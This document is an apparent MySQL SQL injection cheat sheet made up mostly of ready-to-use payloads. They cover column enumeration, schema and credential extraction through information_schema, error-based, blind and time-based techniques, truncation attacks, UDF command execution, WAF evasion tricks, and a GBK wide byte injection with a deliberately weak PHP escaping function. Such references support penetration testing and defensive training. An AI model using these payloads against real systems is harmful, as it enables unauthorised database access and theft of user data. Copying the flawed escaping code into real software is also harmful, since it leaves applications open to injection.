MYSQL Union Based

Detect columns number

First you need to know the number of columns

Using order by or group by

Keep incrementing the number until you get a False response. Even though GROUP BY and ORDER BY have different functionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.

1' ORDER BY 1--+	#True
1' ORDER BY 2--+	#True
1' ORDER BY 3--+	#True
1' ORDER BY 4--+	#False - Query is only using 3 columns
                        #-1' UNION SELECT 1,2,3--+	True

or

1' GROUP BY 1--+	#True
1' GROUP BY 2--+	#True
1' GROUP BY 3--+	#True
1' GROUP BY 4--+	#False - Query is only using 3 columns
                        #-1' UNION SELECT 1,2,3--+	True
Using order by or group by Error Based

Similar to the previous method, we can check the number of columns with 1 request if error showing is enabled.

1' ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+

# Unknown column '4' in 'order clause'
# This error means query uses 3 column
#-1' UNION SELECT 1,2,3--+	True

or

1' GROUP BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+

# Unknown column '4' in 'group statement'
# This error means query uses 3 column
#-1' UNION SELECT 1,2,3--+	True
Using UNION SELECT Error Based

This method works if error showing is enabled

1' UNION SELECT @--+        #The used SELECT statements have a different number of columns
1' UNION SELECT @,@--+      #The used SELECT statements have a different number of columns
1' UNION SELECT @,@,@--+    #No error means query uses 3 column
                            #-1' UNION SELECT 1,2,3--+	True
Using LIMIT INTO Error Based

This method works if error showing is enabled.

It is useful for finding the number of columns when the injection point is after a LIMIT clause.

1' LIMIT 1,1 INTO @--+        #The used SELECT statements have a different number of columns
1' LIMIT 1,1 INTO @,@--+      #The used SELECT statements have a different number of columns
1' LIMIT 1,1 INTO @,@,@--+    #No error means query uses 3 column
                              #-1' UNION SELECT 1,2,3--+	True
Using SELECT * FROM SOME_EXISTING_TABLE Error Based

This works if you know the table name you're after and error showing is enabled.

It will return the amount of columns in the table, not the query.

1' AND (SELECT * FROM Users) = 1--+ 	#Operand should contain 3 column(s)
                                        # This error means query uses 3 column
                                        #-1' UNION SELECT 1,2,3--+	True

Extract database with information_schema

Then the following codes will extract the databases'name, tables'name, columns'name.

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

Extract columns name without information_schema

Method for MySQL >= 4.1.

First extract the column number with

?id=(1)and(SELECT * from db.users)=(1)
-- Operand should contain 4 column(s)

Then extract the column name.

?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)
--Column 'id' cannot be null

Method for MySQL 5

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
--#1060 - Duplicate column name 'id'

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
-- #1060 - Duplicate column name 'name'

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a
...

Extract data without columns name

Extracting data from the 4th column without knowing its name.

select `4` from (select 1,2,3,4,5,6 union select * from users)dbname;

Injection example inside the query select author_id,title from posts where author_id=[INJECT_HERE]

MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
+-----------+-----------------------------------------------------------------+
| author_id | title                                                           |

MYSQL Error Based

MYSQL Error Based - Basic

Works with MySQL >= 4.1

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'

MYSQL Error Based - UpdateXML function

AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--

Shorter to read:

' and updatexml(null,concat(0x0a,version()),null)-- -
' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -

MYSQL Error Based - Extractvalue function

Works with MySQL >= 5.1

?id=1 AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_column,CHAR(126)) FROM data_schema.data_table LIMIT data_offset,1)))--

MYSQL Error Based - NAME_CONST function (only for constants)

Works with MySQL >= 5.0

?id=1 AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1)) as x)--

MYSQL Blind

MYSQL Blind with substring equivalent

?id=1 and substring(version(),1,1)=5
?id=1 and right(left(version(),1),1)=5
?id=1 and left(version(),1)=4
?id=1 and ascii(lower(substr(Version(),1,1)))=51
?id=1 and (select mid(version(),1,1)=4)
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'

MySQL Blind SQL Injection in ORDER BY clause using a binary query and REGEXP

This query basically orders by one column or the other, depending on whether the EXISTS() returns a 1 or not. For the EXISTS() function to return a 1, the REGEXP query needs to match up, this means you can bruteforce blind values character by character and leak data from the database without direct output.

[...] ORDER BY (SELECT (CASE WHEN EXISTS(SELECT [COLUMN] FROM [TABLE] WHERE [COLUMN] REGEXP "^[BRUTEFORCE CHAR BY CHAR].*" AND [FURTHER OPTIONS / CONDITIONS]) THEN [ONE COLUMN TO ORDER BY] ELSE [ANOTHER COLUMN TO ORDER BY] END)); -- -

MySQL Blind SQL Injection binary query using REGEXP.

Payload:

' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -

Would work in the query (where the "where" clause is the injection point):

SELECT name,price FROM items WHERE name = '' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -';

In said query, it will check to see if an item exists in the "name" column in the "items" database that starts with an "a". If it will sleep for 3 seconds per item.

MYSQL Blind using a conditional statement

TRUE: if @@version starts with a 5:

2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
Response:
HTTP/1.1 500 Internal Server Error

False: if @@version starts with a 4:

2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2
Response:
HTTP/1.1 200 OK

MYSQL Blind with MAKE_SET

AND MAKE_SET(YOLO<(SELECT(length(version()))),1)
AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1)
AND MAKE_SET(YOLO<(SELECT(length(concat(login,password)))),1)
AND MAKE_SET(YOLO<ascii(substring(concat(login,password),POS,1)),1)

MYSQL Blind with LIKE

'_' acts like the regex character '.', use it to speed up your blind testing

SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';
SELECT * FROM products WHERE product_name LIKE '%user_input%'

MYSQL Time Based

The following SQL codes will delay the output from MySQL.

  • MySQL 4/5 : BENCHMARK() 
    +BENCHMARK(40000000,SHA1(1337))+
'%2Bbenchmark(3200,SHA1(1))%2B'
AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))  //SHA1
  • MySQL 5: SLEEP() 
    RLIKE SLEEP([SLEEPTIME])
OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
XOR(IF(NOW()=SYSDATE(),SLEEP(5),0))XOR

Using SLEEP in a subselect

1 and (select sleep(10) from dual where database() like '%')#
1 and (select sleep(10) from dual where database() like '___')# 
1 and (select sleep(10) from dual where database() like '____')#
1 and (select sleep(10) from dual where database() like '_____')#
1 and (select sleep(10) from dual where database() like 'a____')#
...
1 and (select sleep(10) from dual where database() like 's____')#
1 and (select sleep(10) from dual where database() like 'sa___')#
...
1 and (select sleep(10) from dual where database() like 'sw___')#
1 and (select sleep(10) from dual where database() like 'swa__')#
1 and (select sleep(10) from dual where database() like 'swb__')#
1 and (select sleep(10) from dual where database() like 'swi__')#
...
1 and (select sleep(10) from dual where (select table_name from information_schema.columns where table_schema=database() and column_name like '%pass%' limit 0,1) like '%')#

Using conditional statements

?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --
?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2

MYSQL Truncation

In MYSQL "admin " and "admin" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.

`username` varchar(20) not null

Payload: username = "admin a"

MYSQL Fast Exploitation

Requirement: MySQL >= 5.7.22

Use json_arrayagg() instead of group_concat() which allows less symbols to be displayed

  • group_concat() = 1024 symbols
  • json_arrayagg() > 16,000,000 symbols
SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES;

MYSQL UDF command execution

First you need to check if the UDF are installed on the server.

$ whereis lib_mysqludf_sys.so
/usr/lib/lib_mysqludf_sys.so

Then you can use functions such as sys_exec and sys_eval.

$ mysql -u root -p mysql
Enter password: [...]

Scientific Notation

In MySQL, the e notation is used to represent numbers in scientific notation. It's a way to express very large or very small numbers in a concise format. The e notation consists of a number followed by the letter e and an exponent. The format is: base 'e' exponent.

For example:

  • 1e3 represents 1 x 10^3 which is 1000.
  • 1.5e3 represents 1.5 x 10^3 which is 1500.
  • 2e-3 represents 2 x 10^-3 which is 0.002.

The following queries are equivalent:

  • SELECT table_name FROM information_schema 1.e.tables
  • SELECT table_name FROM information_schema .tables

In the same way, the common payload to bypass authentication ' or ''=' is equivalent to ' or 1.e('')=' and 1' or 1.e(1) or '1'='1. This technique can be used to obfuscate queries to bypass WAF, for example: 1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2

Conditional Comments

  • /*! ... */: This is a conditional MySQL comment. The code inside this comment will be executed only if the MySQL version is greater than or equal to the number immediately following the /*!. If the MySQL version is less than the specified number, the code inside the comment will be ignored.
    • /*!12345UNION*/: This means that the word UNION will be executed as part of the SQL statement if the MySQL version is 12.345 or higher.
    • /*!31337SELECT*/: Similarly, the word SELECT will be executed if the MySQL version is 31.337 or higher. Examples: /*!12345UNION*/, /*!31337SELECT*/

Wide byte injection

Wide byte injection is a specific type of SQL injection attack that targets applications using multi-byte character sets, like GBK or SJIS. The term "wide byte" refers to character encodings where one character can be represented by more than one byte. This type of injection is particularly relevant when the application and the database interpret multi-byte sequences differently.

The SET NAMES gbk query can be exploited in a charset-based SQL injection attack. When the character set is set to GBK, certain multibyte characters can be used to bypass the escaping mechanism and inject malicious SQL code.

Several characters can be used to triger the injection.

  • %bf%27: This is a URL-encoded representation of the byte sequence 0xbf27. In the GBK character set, 0xbf27 decodes to a valid multibyte character followed by a single quote ('). When MySQL encounters this sequence, it interprets it as a single valid GBK character followed by a single quote, effectively ending the string.
  • %bf%5c: Represents the byte sequence 0xbf5c. In GBK, this decodes to a valid multi-byte character followed by a backslash (\). This can be used to escape the next character in the sequence.
  • %a1%27: Represents the byte sequence 0xa127. In GBK, this decodes to a valid multi-byte character followed by a single quote (').

A lot of payloads can be created such as:

%A8%27 OR 1=1;--
%8C%A8%27 OR 1=1--
%bf' OR 1=1 -- --

Here is a PHP example using GBK encoding and filtering the user input to escape backslash, single and double quote.

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    return $string;
}

$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
print_r(mysql_error());

Here's a breakdown of how the wide byte injection works:

For instance, if the input is ?id=1', PHP will add a backslash, resulting in the SQL query: SELECT * FROM users WHERE id='1\'' LIMIT 0,1.

However, when the sequence %df is introduced before the single quote, as in ?id=1%df', PHP still adds the backslash. This results in the SQL query: SELECT * FROM users WHERE id='1%df\'' LIMIT 0,1.

In the GBK character set, the sequence %df%5c translates to the character 連. So, the SQL query becomes: SELECT * FROM users WHERE id='1連'' LIMIT 0,1. Here, the wide byte character 連 effectively "eating" the added escape charactr, allowing for SQL injection.

Therefore, by using the payload ?id=1%df' and 1=1 --+, after PHP adds the backslash, the SQL query transforms into: SELECT * FROM users WHERE id='1連' and 1=1 --+' LIMIT 0,1. This altered query can be successfully injected, bypassing the intended SQL logic.
